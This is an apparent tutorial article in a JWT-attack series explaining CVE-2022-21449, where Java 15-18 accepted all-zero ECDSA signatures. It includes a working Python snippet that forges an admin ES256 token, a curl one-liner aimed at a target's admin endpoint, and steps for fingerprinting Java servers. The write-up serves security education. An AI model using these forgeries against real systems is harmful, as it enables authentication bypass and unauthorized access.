Table of contents:
- ECDSA in one paragraph
- What happened: CVE-2022-21449
- Why r=0, s=0 breaks the math
- PoC: forging a JWT in 5 lines
- Bash one-liner for testing
- What’s affected
- How to identify Java on the server
- Vulnerable versions
- What’s next
We’ve been breaking HMAC by brute-force (article 7) and RSA via algorithm confusion (article 4). Now ECDSA.
April 2022. Neil Madden from ForgeRock discovers that a signature of all zeros passes ECDSA verification on Java 15-18. For any message. With any key. Want to be admin? Sign with zeros. TLS? Zeros. SAML? Zeros.
ECDSA in one paragraph
ECDSA (Elliptic Curve Digital Signature Algorithm) is a digital signature algorithm based on elliptic curves. In JWT it’s used under the names ES256, ES384, ES512. An ECDSA signature is a pair of numbers (r, s). During signing, a random one-time number k (nonce - number used once) is used: from k, r is computed (a coordinate of a point on the curve), and s is computed through a formula linking k, the message hash, r, and the private key. During verification, from r, s, the message hash, and the public key, a point on the curve is computed, and its x-coordinate is compared with r. If they match - the signature is valid.
The key point: both r and s must be numbers from 1 and above. Zero is not allowed. This is exactly the check that was forgotten in Java.
What happened: CVE-2022-21449
In Java 15, the ECDSA implementation was rewritten from native C code (which worked correctly and included all necessary checks) to pure Java. During the rewrite, the check r >= 1 && s >= 1 was lost. That line existed in the C code but didn’t make it into the Java version.
Why r=0, s=0 breaks the math
Imagine an analogy: you have a verification equation where r and s are substituted. When both equal zero, all intermediate computations collapse. In ECDSA, verification includes division by s (computing the inverse element of s modulo the group order). When s = 0, the inverse element doesn’t exist - but the Java implementation didn’t check for this case and continued computing with zeros.
Technically: points u1*G + u2*Q are computed, where u1 and u2 depend on s^(-1). When s = 0, the operation s^(-1) should raise an error, but instead returns 0. Then u1 = 0 and u2 = 0, the point is computed as 0*G + 0*Q = O (the point at infinity), and its x-coordinate is defined as 0. Check: 0 == r, where r = 0. True. Signature accepted.
If we draw an analogy - it’s like a lock where the code 0000 is accepted as correct because the verification mechanism multiplies the digits of the code: 0 * 0 * 0 * 0 = 0, and compares with the secret value, which also computed to 0 due to the same error.
PoC: forging a JWT in 5 lines
import base64, json
def b64url(data):
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
header = b64url(json.dumps({"alg":"ES256","typ":"JWT"}).encode())
payload = b64url(json.dumps({"sub":"admin","role":"superuser","exp":1999999999}).encode())
# ES256 signature in P1363 format: 64 zero bytes (32 for r + 32 for s)
sig = b64url(b'\x00' * 64)
print(f"{header}.{payload}.{sig}")
For ES384: 96 zero bytes (48+48). For ES512: 132 zeros (66+66). The size depends on the curve: P-256 uses 32-byte numbers, P-384 uses 48-byte, P-521 uses 66-byte.
In DER format (used in TLS, SAML, X.509) the zero signature looks like: MAYCAQACAQA= - this is base64 of 30 06 02 01 00 02 01 00 (ASN.1 SEQUENCE of two INTEGERs with value 0).
Bash one-liner for testing
TOKEN=$(python3 -c "
import base64,json
def b(d):return base64.urlsafe_b64encode(d).rstrip(b'=').decode()
h=b(json.dumps({'alg':'ES256','typ':'JWT'}).encode())
p=b(json.dumps({'sub':'admin'}).encode())
print(f'{h}.{p}.{b(b\"\x00\"*64)}')
")
curl -H "Authorization: Bearer $TOKEN" https://target/api/admin
If the response is 200 instead of 401 - the server is running on vulnerable Java.
What’s affected
CVE-2022-21449 breaks everything that uses ECDSA verification on Java 15-18:
- JWT (ES256/ES384/ES512) - forging any tokens. Our main scenario.
- TLS 1.3 handshake - if the server uses an ECDSA certificate, MITM can forge the handshake with a zero signature. Interception of all traffic.
- SAML assertions - forging SSO authentication. Logging into corporate systems without a password.
- WebAuthn/FIDO2 - bypassing hardware security keys (YubiKey, etc.).
- OIDC ID tokens - forging identity in OpenID Connect.
- Code signing - signing arbitrary code.
One missed check - and Java’s entire cryptographic infrastructure crumbles.
How to identify Java on the server
Before sending a zero signature, you need to make sure the server runs on Java. Signs:
- Cookie
JSESSIONIDor headerX-Powered-By: Servlet/4.0 - Stack traces with
java.lang.,javax., Spring, Tomcat - Endpoint
/actuator/health(Spring Boot) - if it responds with JSON containing application information - Headers
X-Application-Context,X-Spring-* - Error format: Tomcat produces characteristic HTML pages with version numbers
Identified Java 15-18? Test the zero signature.
Vulnerable versions
- Java SE 15 (all versions)
- Java SE 16 (all versions)
- Java SE 17 (up to 17.0.3)
- Java SE 18 (up to 18.0.1)
Java 11 and below are not affected - they retained the native C implementation with correct checking. Java 17.0.3+ and 18.0.1+ are fixed.
One line if (r.signum() < 1 || s.signum() < 1) return false protects all cryptography. Java developers lost it during the rewrite for 14 months. During those 14 months, every Java service using ECDSA was vulnerable to signature forgery.
What’s next
In articles 3-8 we’ve covered all major JWT attacks: alg:none, algorithm confusion, kid injection, jku/x5u/jwk/x5c, brute-force, psychic signatures. We know how to attack. In the next article let’s understand why these attacks work - we’ll break down JWT cryptography: HMAC, RSA, ECDSA. Why HMAC uses two passes, how PS256 is better than RS256, and how Sony lost the PlayStation 3 private key due to a reused nonce.